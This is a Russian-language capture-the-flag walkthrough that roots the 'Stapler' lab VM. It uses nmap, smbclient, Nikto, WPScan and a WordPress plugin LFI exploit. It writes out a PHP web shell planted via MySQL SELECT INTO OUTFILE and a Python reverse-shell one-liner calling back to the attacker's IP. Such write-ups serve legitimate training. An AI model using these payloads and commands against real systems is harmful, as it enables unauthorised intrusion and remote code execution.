
Сегодня у нас машина под название Stapler, достаточно старенькая 2016 год . Автор пишет что она легкая или сложна ))) Все зависит от ваших навыков. Требуется получить root доступ, все достаточно стандартно. Поехали… —[[Enjoy. Have fun. Happy Hacking.]]—
Разведка…
#Определяем IP машины. arp-scan -l #Сканируем открытые порты. nmap 192.168.56.106 -p- -sV
Тут у нас просто целый зоопарк разных служб : FTP , Samba, MySQL , Web-Server, BIND

# Я бы детальней глянул на все это nmap 192.168.56.106 -p- -sV -A
Тут у нас повеселей уже, FTP можно зайти как анонимный пользователь anonymous и паролем: anonymous . Заглянув ничего интересного не нашлось, если только имена для брута пригодятся.
ftp 192.168.56.106 ftp > ls ftp > get note

Следующий в очередь, Samba 139 порт ) Давайте зайдем посмотрим, может там есть общие ресурсы и т.д. Воспользуемся smbclient :
smbclient -L 192.168.56.106 -L флаг host

У нас есть два доступных ресурса : kathy и tmp . К стати интересный комментарий, можно попробовать подключиться к kathy как пользователь Fred
smbclient //fred/kathy -I 192.168.56.106 -N -I IP -N без пароля smbclient //fred/tmp -I 192.168.56.106 -N

Ничего интересного не нашли
Web-сервер…
Открываем в браузере 192.168.56.106:12380
Тут ничего интересного, ну если только порадовал комментарий в исходном коде страницы. Двигаем дальше, запускаем Nikto .

Ну вот уже что то, есть /admin112233 , /blogblog. Так же стоит phpMyAdmin и есть ssl. сходим сначала на https://192.168.56.106:12380/admin112233/ уж больно привлекательное название.

Тут нас подловили на Java, вот так. Надо бы отключать ( Пойдем дальше /blogblog :
Тут у нас блог на WordPress, запускаем WPScan.
wpscan --url https://192.168.56.106:12380/blogblog/ --enumerate ap --plugins-detection aggressive --disable-tls-checks --enumerate ap # перечислить все плагины
Так как версия старая , тут у нас просто поляна всего. Но я больше заинтересовался плагинами, а если конкретней : advanced-video-embed-embed-videos-or-playlists

На моем любимом сайте exploit мы нашли программку на питоне которая выводит настройки wp-config.php .По сути этот плагин уязвим к LFI и мы можем вывести любо файл какой нам нужен. Качаем питон скрип, редактируем и запускаем.
LFI (англ. Local File Include) – означает некую возможность, позволяющую выполнять локальные файлы на стороне сервера. Данная уязвимость позволит для удаленного пользователя посредством специально подготовленного запроса получить свободный доступ практически к любым файлам сервера.
Пришлось конечно немного повозиться . Во первых urllib2 библиотека для Python 2.7, во вторых нам нужно добавить поддержку SSL :
import ssl ssl._create_default_https_context = ssl._create_unverified_context
За то у нас есть данные DB и похоже что это root учетка. Проверим, вы же помните что у нас открыт порт MySQL.
mysql -u root -p -h 192.168.56.106
Web-Shell, SQL- Injection…
Так как у нас root доступ к DB возникла идея загрузить в /upload веб-шелл с помощью SQL-Injection , идея взята из статьи Gaining Reverse Shell from SQL injection
mysql> Select "<?php echo shell_exec($_GET['cmd']);?>
" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";
# В MySQL можно использовать предложение SELECT ... INTO OUTFILE для
# вывода результатов запроса непосредственно в файл на хосте сервера.
# mysql> SELECT * FROM passwd INTO OUTFILE '/tmp/passwd.txt';

https://192.168.56.106:12380/blogblog/wp-content/uploads/shell.php?cmd=ls -la total 16 drwxrwxrwx 2 www-data www-data 4096 May 26 17:27 . drwxr-xr-x 5 root root 4096 Jun 4 2016 .. -rw-r--r-- 1 www-data www-data 3042 May 26 11:13 1724872606.jpeg -rw-rw-rw- 1 mysql mysql 39 May 26 17:27 shell.php
Запускаем теперь netcat на порту 444( nc -lvp 444 ) , а на жертве запускаем revers-shell на питоне, мне просто нравиться питон : https://192.168.56.106:12380/blogblog/wp-content/uploads/shell.php?cmd=python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((«192.168.56.103»,444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([«/bin/sh»,»-i»]);’
# Что бы было понятно запишем в более понятном виде: import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.56.103",444)) # Ваш IP и ПОРТ os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
.bash_history
Вот у нас нормальный шелл под пользователем www-data, сайт в наших руках. Но это далеко не root ,а стандартный пользователь Apache. Ну продолжим разведку, посмотрим версию ядра, заглянем в .bash_history . .bash_history это файл который запоминает последние команды пользователей в linux. Тут к стати нам ну просто волшебно повезло :

Смело стучимся в SSH : ssh -l peter 192.168.56.104 , и проверяем доступно ли sudo : sudo -l


На этом наше увлекательный квест закончен. Спасибо…